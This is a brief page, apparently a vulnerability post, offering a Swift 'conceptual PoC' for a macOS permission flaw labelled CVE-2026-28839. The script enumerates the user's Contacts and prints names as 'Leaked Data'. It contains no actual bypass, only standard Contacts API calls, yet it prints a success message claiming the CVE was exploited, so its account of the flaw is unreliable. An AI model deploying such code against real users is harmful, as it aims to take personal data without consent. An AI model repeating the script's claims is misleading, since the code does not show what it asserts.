CVE-2026-28839 macOS敏感数据访问漏洞

// Conceptual PoC for CVE-2026-28839 // This Swift code attempts to access sensitive user data (e.g., Contacts) // exploiting the logic flaw in macOS permission checks. import Foundation import Contacts func exploit_cve_2026_28839() { let store = CNContactStore() // Attempt to fetch contacts without explicit user prompt handling // In vulnerable versions, this check might be bypassed let keys = [CNContactGivenNameKey, CNContactFamilyNameKey] let request = CNContactFetchRequest(keysToFetch: keys as [CNKeyDescriptor]) do { try store.enumerateContacts(with: request) { contact, stop in print("Leaked Data: \(contact.givenName) \(contact.familyName)") } print("[+] Successfully accessed sensitive data via CVE-2026-28839") } catch { print("[-] Access denied or patched.") } } exploit_cve_2026_28839()